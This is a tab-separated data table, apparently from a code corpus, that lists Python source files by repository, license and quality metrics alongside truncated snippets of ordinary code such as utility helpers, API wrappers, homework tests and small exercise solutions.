0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
f5e63db575d87e32054810556f16fe242a14feb1	500	py	Python	weather_models/flo2d/utils.py	CUrW-SL/DSS-Framework	43a39b322ffb0eb92dd116e77cf9a8479357a121	[ "MIT" ]	null	null	null	weather_models/flo2d/utils.py	CUrW-SL/DSS-Framework	43a39b322ffb0eb92dd116e77cf9a8479357a121	[ "MIT" ]	null	null	null	weather_models/flo2d/utils.py	CUrW-SL/DSS-Framework	43a39b322ffb0eb92dd116e77cf9a8479357a121	[ "MIT" ]	null	null	null	INVALID_VALUE = -9999 def search_in_dictionary_list(dictionary_list, key_name, key_value): for dictionary in dictionary_list: if dictionary[key_name] == key_value: return dictionary return None def search_value_in_dictionary_list(dictionary_list, key_name, key_value, value_key): dict...	29.411765	85	0.746	67	500	5.179104	0.253731	0.282421	0.184438	0.172911	0.423631	0.423631	0.423631	0.423631	0.423631	0.293948	0.009975	0.198	500	16	86	31.25	0.855362	0	0	0	0	0	0	0	0	1	0.166667	false	0	0	0	0.5	0	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
f5fc8645e590b7f69a2bd6b9fb48cd7b7c228e2c	269	py	Python	jd/api/rest/UnionOpenCouponQueryRequest.py	fengjinqi/linjuanbang	8cdc4e81df73ccd737ac547da7f2c7dca545862a	[ "MIT" ]	5	2019-10-30T01:16:30.000Z	2020-06-14T03:32:19.000Z	jd/api/rest/UnionOpenCouponQueryRequest.py	fengjinqi/linjuanbang	8cdc4e81df73ccd737ac547da7f2c7dca545862a	[ "MIT" ]	2	2020-10-12T07:12:48.000Z	2021-06-02T03:15:47.000Z	jd/api/rest/UnionOpenCouponQueryRequest.py	fengjinqi/linjuanbang	8cdc4e81df73ccd737ac547da7f2c7dca545862a	[ "MIT" ]	3	2019-12-06T17:33:49.000Z	2021-03-01T13:24:22.000Z	from jd.api.base import RestApi class UnionOpenCouponQueryRequest(RestApi): def __init__(self,domain='gw.api.360buy.com',port=80): RestApi.__init__(self,domain, port) self.couponUrls = None def getapiname(self): return 'jd.union.open.coupon.query'	16.8125	56	0.736059	36	269	5.277778	0.694444	0.084211	0.147368	0	0	0	0	0	0	0	0.021645	0.141264	269	15	57	17.933333	0.800866	0	0	0	0	0.163498	0.098859	0	0	1	0.285714	false	0	0.142857	0.142857	0.714286	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
f5fe1933ba7b8a1126ade73e4b309833a36080a3	59	py	Python	python/testData/codeInsight/controlflow/break.py	truthiswill/intellij-community	fff88cfb0dc168eea18ecb745d3e5b93f57b0b95	[ "Apache-2.0" ]	2	2019-04-28T07:48:50.000Z	2020-12-11T14:18:08.000Z	python/testData/codeInsight/controlflow/break.py	truthiswill/intellij-community	fff88cfb0dc168eea18ecb745d3e5b93f57b0b95	[ "Apache-2.0" ]	173	2018-07-05T13:59:39.000Z	2018-08-09T01:12:03.000Z	python/testData/codeInsight/controlflow/break.py	truthiswill/intellij-community	fff88cfb0dc168eea18ecb745d3e5b93f57b0b95	[ "Apache-2.0" ]	2	2020-03-15T08:57:37.000Z	2020-04-07T04:48:14.000Z	while foo: if condition: break print "Hello"	11.8	17	0.576271	7	59	4.857143	1	0	0	0	0	0	0	0	0	0	0	0.355932	59	4	18	14.75	0.894737	0	0	0	0	0.084746	0	0	0	0	null	null	0	0	null	null	0.25	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	1	0	0	0	0	0	0	0	3
eb02133e1de0e08dd0d0d8f17e971a051889d539	82	py	Python	yalzma/__init__.py	messa/yalzma	4d5672f07ef5499544a2cef35d0b1526699da790	[ "MIT" ]	1	2018-12-15T11:52:02.000Z	2018-12-15T11:52:02.000Z	yalzma/__init__.py	messa/yalzma	4d5672f07ef5499544a2cef35d0b1526699da790	[ "MIT" ]	null	null	null	yalzma/__init__.py	messa/yalzma	4d5672f07ef5499544a2cef35d0b1526699da790	[ "MIT" ]	null	null	null	__version__ = '0.0.4' __all__ = ['LZMAEncoder'] from .encoder import LZMAEncoder	16.4	32	0.731707	10	82	5.2	0.8	0	0	0	0	0	0	0	0	0	0.042254	0.134146	82	4	33	20.5	0.690141	0	0	0	0	0.195122	0	0	0	1	0	false	0	0.333333	0	0.333333	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
eb1c110cdbba36a259e3ab83ec031b6aae322ec3	10,020	py	Python	jerex/entities.py	Brant-Skywalker/jerex	09b330fe4472cb9dde2dd7f8ac4d0c574fa08cd0	[ "MIT" ]	39	2021-02-19T12:56:30.000Z	2022-03-26T08:08:57.000Z	jerex/entities.py	Brant-Skywalker/jerex	09b330fe4472cb9dde2dd7f8ac4d0c574fa08cd0	[ "MIT" ]	13	2021-03-07T05:22:22.000Z	2022-03-17T13:21:44.000Z	jerex/entities.py	Brant-Skywalker/jerex	09b330fe4472cb9dde2dd7f8ac4d0c574fa08cd0	[ "MIT" ]	7	2021-04-29T08:02:52.000Z	2022-03-31T02:00:06.000Z	from typing import List class RelationType: def __init__(self, identifier, index, short_name, verbose_name, symmetric=False): self._identifier = identifier self._index = index self._short_name = short_name self._verbose_name = verbose_name self._symmetric = symmetric @...	22.929062	111	0.631737	1,202	10,020	4.877704	0.072379	0.134743	0.150435	0.034112	0.611973	0.571039	0.545284	0.512195	0.435101	0.393485	0.001672	0.283633	10,020	436	112	22.981651	0.81513	0.035729	0.621451	0	0	0.00114	0	0	0	1	0.315457	false	0	0.003155	0.249211	0.652997	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
eb353e540e53adc46d65436d27e95950ed9e1685	194	py	Python	utils/time_converter.py	sarzz2/bonafide-bot	c61c738124099144ed4eb173d423567d3465a95e	[ "MIT" ]	1	2021-06-14T23:41:18.000Z	2021-06-14T23:41:18.000Z	utils/time_converter.py	sarzz2/bonafide-bot	c61c738124099144ed4eb173d423567d3465a95e	[ "MIT" ]	null	null	null	utils/time_converter.py	sarzz2/bonafide-bot	c61c738124099144ed4eb173d423567d3465a95e	[ "MIT" ]	null	null	null	time_convert = {"s": 1, "m": 60, "h": 3600, "d": 86400} def convert_time_to_seconds(time): try: return int(time[:-1]) * time_convert[time[-1]] except: raise ValueError	21.555556	55	0.582474	28	194	3.857143	0.678571	0.203704	0	0	0	0	0	0	0	0	0.094595	0.237113	194	8	56	24.25	0.635135	0	0	0	0	0.020619	0	0	0	1	0.166667	false	0	0	0	0.333333	0	1	0	null	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
de1697c853b523656c534204afe853ba808d1454	257	py	Python	0-notes/job-search/Cracking the Coding Interview/C13Java/questions/13.8-question.py	eengineergz/Lambda	1fe511f7ef550aed998b75c18a432abf6ab41c5f	[ "MIT" ]	null	null	null	0-notes/job-search/Cracking the Coding Interview/C13Java/questions/13.8-question.py	eengineergz/Lambda	1fe511f7ef550aed998b75c18a432abf6ab41c5f	[ "MIT" ]	null	null	null	0-notes/job-search/Cracking the Coding Interview/C13Java/questions/13.8-question.py	eengineergz/Lambda	1fe511f7ef550aed998b75c18a432abf6ab41c5f	[ "MIT" ]	null	null	null	# 13.8 Lambda Random # Using Lambda expressions, write a function # List<Integer> getRandomSubset(List<Integer> list) # that returns a random subset of arbitrary size. # All subsets, including the empty set, should be equally likely to be chosen.	42.833333	78	0.747082	37	257	5.189189	0.810811	0.114583	0	0	0	0	0	0	0	0	0.014354	0.18677	257	6	78	42.833333	0.904306	0.92607	null	0	null	0	0	null	null	1	null	true	0	0	null	null	null	0	0	null	0	0	0	0	0	0	0	0	1	0	0	1	0	0	0	0	0	null	0	0	0	1	0	0	0	0	0	3
de1f9b0c3f326cf2825498b1b68c28117beab436	497	py	Python	hw/hw10/tests/q1_2.py	ds-modules/Colab-demo	cccaff13633f8a5ec697cd4aeca9087f2feec2e4	[ "BSD-3-Clause" ]	null	null	null	hw/hw10/tests/q1_2.py	ds-modules/Colab-demo	cccaff13633f8a5ec697cd4aeca9087f2feec2e4	[ "BSD-3-Clause" ]	null	null	null	hw/hw10/tests/q1_2.py	ds-modules/Colab-demo	cccaff13633f8a5ec697cd4aeca9087f2feec2e4	[ "BSD-3-Clause" ]	null	null	null	test = { 'name': 'q1_2', 'points': 1, 'suites': [ { 'cases': [ {'code': '>>> sum(standard_units(make_array(1,2,3,4,5))) == 0\nTrue', 'hidden': False, 'locked': False}, {'code': '>>> np.isclose(standard_units(make_array(1,2,3,4,5))[0], -1.41421356)\nTrue', 'hidden': Fal...	55.222222	158	0.416499	51	497	3.960784	0.607843	0.128713	0.168317	0.217822	0.544554	0.277228	0.277228	0.277228	0.277228	0.277228	0.074766	0.354125	497	8	159	62.125	0.554517	0	0	0	0.25	0.440644	0.189135	0	0	1	0	false	0	0	0	0	0	0	0	null	0	0	1	0	0	0	0	0	1	0	0	0	0	0	1	0	0	null	0	0	0	0	0	0	0	0	0	3
de323f0ef5068ed2edbc006d1b9afa7a1aeb535c	55	py	Python	code/abc053_b_01.py	KoyanagiHitoshi/AtCoder	731892543769b5df15254e1f32b756190378d292	[ "MIT" ]	3	2019-08-16T16:55:48.000Z	2021-04-11T10:21:40.000Z	code/abc053_b_01.py	KoyanagiHitoshi/AtCoder	731892543769b5df15254e1f32b756190378d292	[ "MIT" ]	null	null	null	code/abc053_b_01.py	KoyanagiHitoshi/AtCoder	731892543769b5df15254e1f32b756190378d292	[ "MIT" ]	null	null	null	s=input() print(len(s)-s[::-1].index("Z")-s.index("A"))	27.5	45	0.545455	12	55	2.5	0.666667	0	0	0	0	0	0	0	0	0	0.018519	0.018182	55	2	45	27.5	0.537037	0	0	0	0	0.035714	0	0	0	1	0	false	0	0	0	0	0.5	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	1	3
de57bfcee72c95047c8acca64e459f16c3a7c1e0	205	py	Python	src/callbacks/getFiles.py	dinesh-0602/TorrentSeedr	51bc75f34e9b07feba39af91021655914be85b6e	[ "MIT" ]	32	2021-08-20T04:05:26.000Z	2022-03-27T17:35:47.000Z	src/callbacks/getFiles.py	rajV2/TorrentSeedr	51bc75f34e9b07feba39af91021655914be85b6e	[ "MIT" ]	null	null	null	src/callbacks/getFiles.py	rajV2/TorrentSeedr	51bc75f34e9b07feba39af91021655914be85b6e	[ "MIT" ]	32	2021-08-21T14:21:46.000Z	2022-03-30T02:05:02.000Z	from src.objs import * from src.commands.getFiles import getFiles @bot.callback_query_handler(func=lambda call: True and call.data[:9] == 'getFiles_') def getFilesCb(call): getFiles(call, called=True)	34.166667	84	0.765854	30	205	5.133333	0.666667	0.090909	0	0	0	0	0	0	0	0	0.005495	0.112195	205	6	85	34.166667	0.840659	0	0	0	0	0.043689	0	0	0	1	0.2	false	0	0.4	0	0.6	0	0	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	3
de64d568db19a47035b8523e540ffd8a889f996f	509	py	Python	bavard_ml_utils/persistence/record_store/__init__.py	bavard-ai/bavard-ml-utils	00b6575d5c74c66f57ca1da753b91d3ceef6d1e4	[ "MIT" ]	1	2022-02-24T21:25:02.000Z	2022-02-24T21:25:02.000Z	bavard_ml_utils/persistence/record_store/__init__.py	bavard-ai/bavard-ml-utils	00b6575d5c74c66f57ca1da753b91d3ceef6d1e4	[ "MIT" ]	null	null	null	bavard_ml_utils/persistence/record_store/__init__.py	bavard-ai/bavard-ml-utils	00b6575d5c74c66f57ca1da753b91d3ceef6d1e4	[ "MIT" ]	null	null	null	""" Contains methods for easily persisting `Pydantic <https://pydantic-docs.helpmanual.io/>`_ data structures to and from arbitrary storage back-ends. Contains a base class for the store behavior, as well as subclasses which allow Google Cloud Firestore or in-memory to be used as the storage back-end. Supports saving, ...	63.625	118	0.797642	78	509	5.192308	0.820513	0.054321	0	0	0	0	0	0	0	0	0	0.141454	509	7	119	72.714286	0.926773	0.982318	null	0	null	0	0	null	null	1	null	true	0	0	null	null	null	0	0	null	0	0	0	0	0	0	0	0	1	0	0	1	0	0	0	0	0	null	0	0	0	1	0	0	0	0	0	3
de69f2b5531a2e88de06ca2d6c91affc2280a036	475	py	Python	globals/moduleaccess.py	RogueScholar/debreate	0abc168c51336b31ff87c61f84bc7bb6000e88f4	[ "MIT" ]	97	2016-09-16T08:44:04.000Z	2022-01-29T22:30:18.000Z	globals/moduleaccess.py	RogueScholar/debreate	0abc168c51336b31ff87c61f84bc7bb6000e88f4	[ "MIT" ]	34	2016-09-20T00:42:45.000Z	2021-04-16T07:21:44.000Z	globals/moduleaccess.py	RogueScholar/debreate	0abc168c51336b31ff87c61f84bc7bb6000e88f4	[ "MIT" ]	24	2016-09-16T08:44:56.000Z	2021-07-29T11:32:47.000Z	# -- coding: utf-8 -- ## \package dbr.moduleaccess # MIT licensing # See: docs/LICENSE.txt ## This class allows access to a 'name' attribute # # \param module_name # \b \e unicode\|str : Ideally set to the module's __name__ attribute class ModuleAccessCtrl: def __init__(self, moduleName): self.ModuleName = mo...	19.791667	69	0.707368	63	475	5.174603	0.603175	0.119632	0.055215	0.07362	0	0	0	0	0	0	0.002571	0.181053	475	23	70	20.652174	0.835476	0.627368	0	0	0	0	0	0	0	1	0.4	false	0	0	0.2	0.8	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
de7549d924587b80175b899522c6565f010ece0c	874	py	Python	package/awesome_streamlit/shared/models.py	Ben0mmen/.-MfG-ThC-.	7d53d813d237c0b3ca3b2bd9bda5a7d7e042379e	[ "CC0-1.0" ]	1	2019-10-19T20:03:40.000Z	2019-10-19T20:03:40.000Z	package/awesome_streamlit/shared/models.py	Ben0mmen/.-MfG-ThC-.	7d53d813d237c0b3ca3b2bd9bda5a7d7e042379e	[ "CC0-1.0" ]	null	null	null	package/awesome_streamlit/shared/models.py	Ben0mmen/.-MfG-ThC-.	7d53d813d237c0b3ca3b2bd9bda5a7d7e042379e	[ "CC0-1.0" ]	null	null	null	"""Models of app""" from typing import List, NamedTuple, Optional class Tag(NamedTuple): """Model of a Tag""" name: str def __str__(self): return self.name def __repr__(self): return self.name class Author(NamedTuple): """Model of an Author""" name: str url: str ...	17.137255	61	0.576659	107	874	4.495327	0.345794	0.099792	0.14553	0.18711	0.286902	0.286902	0.237006	0.237006	0.237006	0.237006	0	0.30778	874	50	62	17.48	0.795041	0.17849	0.6	0	0	0.04048	0.037481	0	0	1	0.24	false	0	0.04	0.2	0.96	0	0	0	null	0	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	0	0	3
de781d0b3eb2681c916997213e363f685b8fa360	89	py	Python	Python_Basics/02_Conditional_Statements/03_Greater_Num.py	Dochko0/Python	e9612c4e842cfd3d9a733526cc7485765ef2238f	[ "MIT" ]	null	null	null	Python_Basics/02_Conditional_Statements/03_Greater_Num.py	Dochko0/Python	e9612c4e842cfd3d9a733526cc7485765ef2238f	[ "MIT" ]	null	null	null	Python_Basics/02_Conditional_Statements/03_Greater_Num.py	Dochko0/Python	e9612c4e842cfd3d9a733526cc7485765ef2238f	[ "MIT" ]	null	null	null	num1 = int(input()) num2 = int(input()) if(num1>=num2): print(num1) else:print(num2)	14.833333	19	0.629213	14	89	4	0.5	0.285714	0	0	0	0	0	0	0	0	0.078947	0.146067	89	6	20	14.833333	0.657895	0	0	0	0	0	0	0	0	1	0	false	0	0	0	0	0.4	1	0	null	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
debf4fc183ea480cc5d2cd001a682d1f7c5887ba	57	py	Python	public_data/__init__.py	danamlewis/open-humans	9b08310cf151f49032b66ddd005bbd47d466cc4e	[ "MIT" ]	57	2016-09-01T21:55:52.000Z	2022-03-27T22:15:32.000Z	public_data/__init__.py	danamlewis/open-humans	9b08310cf151f49032b66ddd005bbd47d466cc4e	[ "MIT" ]	464	2015-03-23T18:08:28.000Z	2016-08-25T04:57:36.000Z	public_data/__init__.py	danamlewis/open-humans	9b08310cf151f49032b66ddd005bbd47d466cc4e	[ "MIT" ]	25	2017-01-24T16:23:27.000Z	2021-11-07T01:51:42.000Z	default_app_config = "public_data.apps.PublicDataConfig"	28.5	56	0.859649	7	57	6.571429	1	0	0	0	0	0	0	0	0	0	0	0.052632	57	1	57	57	0.851852	0	0	0	0	0.578947	0.578947	0	0	1	0	false	0	0	0	0	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	1	null	0	0	0	0	0	0	0	0	0	3
dec3677b20d4adc3eb68a08d3387d17a39e78d6a	513	py	Python	src/config/__init__.py	jonwhittlestone/mongo-csfle-beanie-fastapi	8194822a59114558d01f00e9c8c80f42aa78a412	[ "MIT" ]	null	null	null	src/config/__init__.py	jonwhittlestone/mongo-csfle-beanie-fastapi	8194822a59114558d01f00e9c8c80f42aa78a412	[ "MIT" ]	null	null	null	src/config/__init__.py	jonwhittlestone/mongo-csfle-beanie-fastapi	8194822a59114558d01f00e9c8c80f42aa78a412	[ "MIT" ]	null	null	null	import os from pydantic import BaseSettings class CommonSettings(BaseSettings): APP_NAME: str = "CustomerDB" class ServerSettings(BaseSettings): pass class DatabaseSettings(BaseSettings): DB_USERNAME: str = os.environ.get("MONGO_USERNAME") DB_PASSWORD: str = os.environ.get("MONGO_PASSWORD") DB...	20.52	65	0.74269	60	513	6.2	0.383333	0.053763	0.129032	0.16129	0.215054	0	0	0	0	0	0	0.153996	513	24	66	21.375	0.857143	0	0.142857	0	0	0.118908	0	0	0	1	0	false	0.214286	0.142857	0	0.785714	0	0	0	null	0	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	0	1	0	3
dee33c6d8f905d64708267fd1cdf85d343ee0a76	4,123	py	Python	gpsearch/core/acquisitions/ints.py	Fluid-Dynamics-Group/gpsearch	8c5758c9fb2b623ef79952c3e9c113cb157d79bc	[ "MIT" ]	6	2020-07-13T00:02:17.000Z	2022-03-11T08:49:27.000Z	gpsearch/core/acquisitions/ints.py	Fluid-Dynamics-Group/gpsearch	8c5758c9fb2b623ef79952c3e9c113cb157d79bc	[ "MIT" ]	null	null	null	gpsearch/core/acquisitions/ints.py	Fluid-Dynamics-Group/gpsearch	8c5758c9fb2b623ef79952c3e9c113cb157d79bc	[ "MIT" ]	9	2020-07-18T13:29:46.000Z	2022-03-22T15:14:14.000Z	import numpy as np from .base import Acquisition, AcquisitionWeighted from ..utils import grid_nint, add_xnew, jacobian_fdiff class IVRInt(Acquisition): """A class for IVR computed by numerical integration. Parameters ---------- model, inputs : see parent class (Acquisition) ngrid : int N...	31.473282	74	0.603929	525	4,123	4.649524	0.219048	0.054076	0.068824	0.019664	0.715281	0.715281	0.70381	0.682917	0.682917	0.650143	0.009884	0.288382	4,123	130	75	31.715385	0.822086	0.377395	0.529412	0	0	0	0	0	0	1	0.137255	false	0	0.058824	0.039216	0.333333	0	0	0	null	0	0	0	0	1	1	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
deef8546df445c075b8feff707660404e0c6b23e	312	py	Python	cmsplugin_oembed/models.py	ausgestrahlt/cmsplugin_oembed	d8e5fc61c518af70d31730ca3eff69a1176f6a32	[ "BSD-2-Clause" ]	null	null	null	cmsplugin_oembed/models.py	ausgestrahlt/cmsplugin_oembed	d8e5fc61c518af70d31730ca3eff69a1176f6a32	[ "BSD-2-Clause" ]	null	null	null	cmsplugin_oembed/models.py	ausgestrahlt/cmsplugin_oembed	d8e5fc61c518af70d31730ca3eff69a1176f6a32	[ "BSD-2-Clause" ]	null	null	null	from django.db import models from cms.models import CMSPlugin from embed_video.fields import EmbedVideoField class VideoPluginModel(CMSPlugin): video_url = EmbedVideoField() max_width = models.IntegerField(blank=True, null=True, help_text="in px") def __str__(self): return self.video_url	26	77	0.762821	41	312	5.585366	0.682927	0.069869	0	0	0	0	0	0	0	0	0	0.160256	312	11	78	28.363636	0.874046	0	0	0	0	0.016026	0	0	0	1	0.125	false	0	0.375	0.125	1	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	1	1	0	3
def2e671af56348127cebb854cea3c0d91bf0465	4,896	py	Python	py/docria/query.py	marcusklang/docria	e2fc9d85d3e40a3e089e26e5e26e776b2eab9300	[ "Apache-2.0" ]	6	2019-01-23T15:44:22.000Z	2020-06-01T09:25:53.000Z	py/docria/query.py	marcusklang/docria	e2fc9d85d3e40a3e089e26e5e26e776b2eab9300	[ "Apache-2.0" ]	null	null	null	py/docria/query.py	marcusklang/docria	e2fc9d85d3e40a3e089e26e5e26e776b2eab9300	[ "Apache-2.0" ]	1	2021-06-04T05:35:10.000Z	2021-06-04T05:35:10.000Z	# -- coding: utf-8 -- # # Copyright 2021 Marcus Klang (marcus.klang@cs.lth.se) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requ...	27.351955	75	0.63031	626	4,896	4.667732	0.204473	0.07666	0.048939	0.098563	0.493498	0.414442	0.264545	0.264545	0.241273	0.221424	0.00239	0.230801	4,896	178	76	27.505618	0.7735	0.128268	0.361111	0	0	0.073464	0	0	0	1	0.37037	false	0	0.018519	0.240741	0.759259	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
defa371f642b654b3c4557ba4345e184bce73691	84	py	Python	MSMetaEnhancer/libs/converters/compute/__init__.py	RECETOX/MSMetaEnhancer	863077330740a5b2c91f005599460cee238b2e6f	[ "MIT" ]	null	null	null	MSMetaEnhancer/libs/converters/compute/__init__.py	RECETOX/MSMetaEnhancer	863077330740a5b2c91f005599460cee238b2e6f	[ "MIT" ]	33	2021-11-16T15:12:45.000Z	2022-03-31T08:59:50.000Z	MSMetaEnhancer/libs/converters/compute/__init__.py	RECETOX/MSMetaEnhancer	863077330740a5b2c91f005599460cee238b2e6f	[ "MIT" ]	null	null	null	from MSMetaEnhancer.libs.converters.compute.RDKit import RDKit __all__ = ['RDKit']	21	62	0.797619	10	84	6.3	0.8	0	0	0	0	0	0	0	0	0	0	0.095238	84	3	63	28	0.828947	0	0	0	0	0.059524	0	0	0	1	0	false	0	0.5	0	0.5	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
7202a86b6530b9cd4b72cb5b876dd11df4b395d9	1,239	py	Python	day5/common.py	NekohimeMusou/advent-of-code	a1215336a24713e63f77018f379ff90675afdd0d	[ "MIT" ]	null	null	null	day5/common.py	NekohimeMusou/advent-of-code	a1215336a24713e63f77018f379ff90675afdd0d	[ "MIT" ]	null	null	null	day5/common.py	NekohimeMusou/advent-of-code	a1215336a24713e63f77018f379ff90675afdd0d	[ "MIT" ]	null	null	null	from itertools import permutations from string import ascii_lowercase INPUT_PATH = 'input.txt' def get_input(path=INPUT_PATH): """Get the input for day 5. This should all be one long string. I tested with the given input and we don't need to join the lines but it's just a bit less brittle this way.""" ...	30.219512	104	0.675545	178	1,239	4.629213	0.494382	0.084951	0.033981	0	0	0	0	0	0	0	0.006205	0.219532	1,239	40	105	30.975	0.845915	0.271994	0	0	0	0.069714	0.059429	0	0	1	0.210526	false	0	0.105263	0.105263	0.526316	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
7213effc82d859939de919f4f6899e6a116eeb07	807	py	Python	flog/testing/views.py	mutalisk999/Flog	5d836e26967b39faebdf2d5a2c558316bf93221b	[ "MIT" ]	1	2020-08-24T03:39:52.000Z	2020-08-24T03:39:52.000Z	flog/testing/views.py	mutalisk999/Flog	5d836e26967b39faebdf2d5a2c558316bf93221b	[ "MIT" ]	null	null	null	flog/testing/views.py	mutalisk999/Flog	5d836e26967b39faebdf2d5a2c558316bf93221b	[ "MIT" ]	null	null	null	""" MIT License Copyright(c) 2021 Andy Zhou """ from flask import abort from . import testing_bp from flog.utils import redirect_back @testing_bp.route("/400") def trigger_bad_request(): abort(400) @testing_bp.route("/403") def trigger_forbidden(): abort(403) @testing_bp.route("/404") ...	16.8125	58	0.674102	109	807	4.724771	0.422018	0.157282	0.217476	0	0	0	0	0	0	0	0.069909	0.184634	807	47	59	17.170213	0.712766	0.048327	0	0	0	0.079944	0	0	0	1	0.296296	true	0	0.111111	0.037037	0.444444	0	0	0	null	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	1	0	0	0	0	0	3
7225e1430f84c05f3579a0af6341fb20d179d2e9	1,089	py	Python	qdscreen/tests/encoding_ref_help.py	python-qds/pyqds	c2d3c173a7edccf17241fef3aedeca1d30a59fe4	[ "BSD-3-Clause" ]	null	null	null	qdscreen/tests/encoding_ref_help.py	python-qds/pyqds	c2d3c173a7edccf17241fef3aedeca1d30a59fe4	[ "BSD-3-Clause" ]	19	2021-01-20T08:58:46.000Z	2022-01-07T08:42:09.000Z	qdscreen/tests/encoding_ref_help.py	python-qds/qdscreen	c2d3c173a7edccf17241fef3aedeca1d30a59fe4	[ "BSD-3-Clause" ]	null	null	null	# -- coding: utf-8 -- # the above encoding declaration is needed to have non-ascii characters in this file (anywhere even in comments) from __future__ import unicode_literals # this module mimics what happens in main.py: # - there are special characters in the Foo.__str__ method. To support them in python 2 we need ...	41.884615	118	0.728191	179	1,089	4.212291	0.497207	0.046419	0.055703	0.095491	0.074271	0.074271	0	0	0	0	0.011468	0.199265	1,089	25	119	43.56	0.848624	0.737374	0	0	0	0.021978	0	0	0	1	0.25	false	0	0.25	0.25	0.875	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
72395949c3e1f4f2c2a205a12f860287d106ffc9	66	py	Python	src/twocaptcha/__init__.py	tiagocardosoweb/2captcha-wrapper	e507e36b9b94895c9fd66bd8fe9910a7d8457054	[ "BSD-2-Clause-FreeBSD" ]	4	2017-09-29T23:14:00.000Z	2018-02-19T23:50:14.000Z	src/twocaptcha/__init__.py	streetgt/2captcha-wrapper	e507e36b9b94895c9fd66bd8fe9910a7d8457054	[ "BSD-2-Clause-FreeBSD" ]	null	null	null	src/twocaptcha/__init__.py	streetgt/2captcha-wrapper	e507e36b9b94895c9fd66bd8fe9910a7d8457054	[ "BSD-2-Clause-FreeBSD" ]	null	null	null	__author__ = 'tiagocardosoweb' from .twocaptcha import TwoCaptcha	22	34	0.833333	6	66	8.5	0.833333	0	0	0	0	0	0	0	0	0	0	0.106061	66	2	35	33	0.864407	0	0	0	0	0.227273	0	0	0	1	0	false	0	0.5	0	0.5	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
723dd85970e8a6126b2ebe6fe39fdafa77613901	431	py	Python	soccerpy/modules/Fixture/fixtures_specific.py	SlapBot/soccerpy	e70cd9bf2ad130f004d85328a83deba0815461bd	[ "MIT" ]	null	null	null	soccerpy/modules/Fixture/fixtures_specific.py	SlapBot/soccerpy	e70cd9bf2ad130f004d85328a83deba0815461bd	[ "MIT" ]	1	2017-07-18T17:04:58.000Z	2017-07-19T02:02:46.000Z	soccerpy/modules/Fixture/fixtures_specific.py	SlapBot/soccerpy	e70cd9bf2ad130f004d85328a83deba0815461bd	[ "MIT" ]	1	2018-08-17T23:51:31.000Z	2018-08-17T23:51:31.000Z	from soccerpy.modules.Fixture.base_fixture import BaseFixture from soccerpy.modules.Fundamentals.fixtures import Fixture from soccerpy.modules.Fundamentals.head2head import Head2Head class FixturesSpecific(BaseFixture): def __init__(self, data, headers, request): super().__init__(headers, request) ...	39.181818	61	0.761021	49	431	6.510204	0.408163	0.112853	0.178683	0.194357	0	0	0	0	0	0	0.013441	0.136891	431	10	62	43.1	0.844086	0	0	0	0	0.037123	0	0	0	1	0.125	false	0	0.375	0	0.625	0	0	0	null	0	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	3
a0c9cef0a5cf89e8a00d7f38ba016b4f5a0bc2ac	1,801	py	Python	src/Logikanalysator/sigrok-integration/libsigrokdecode/decoders/uart/__init__.py	dm7h/fpga-event-recorder	4e53babbbb514ee375f4b5585b1d24e5b40f8df7	[ "0BSD" ]	null	null	null	src/Logikanalysator/sigrok-integration/libsigrokdecode/decoders/uart/__init__.py	dm7h/fpga-event-recorder	4e53babbbb514ee375f4b5585b1d24e5b40f8df7	[ "0BSD" ]	null	null	null	src/Logikanalysator/sigrok-integration/libsigrokdecode/decoders/uart/__init__.py	dm7h/fpga-event-recorder	4e53babbbb514ee375f4b5585b1d24e5b40f8df7	[ "0BSD" ]	null	null	null	## ## This file is part of the libsigrokdecode project. ## ## Copyright (C) 2012 Uwe Hermann <uwe@hermann-uwe.de> ## ## This program is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 2 of the Li...	40.022222	76	0.755691	297	1,801	4.582492	0.582492	0.022043	0.028655	0.041881	0.06025	0.041146	0	0	0	0	0.019595	0.178234	1,801	44	77	40.931818	0.9	0.952249	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	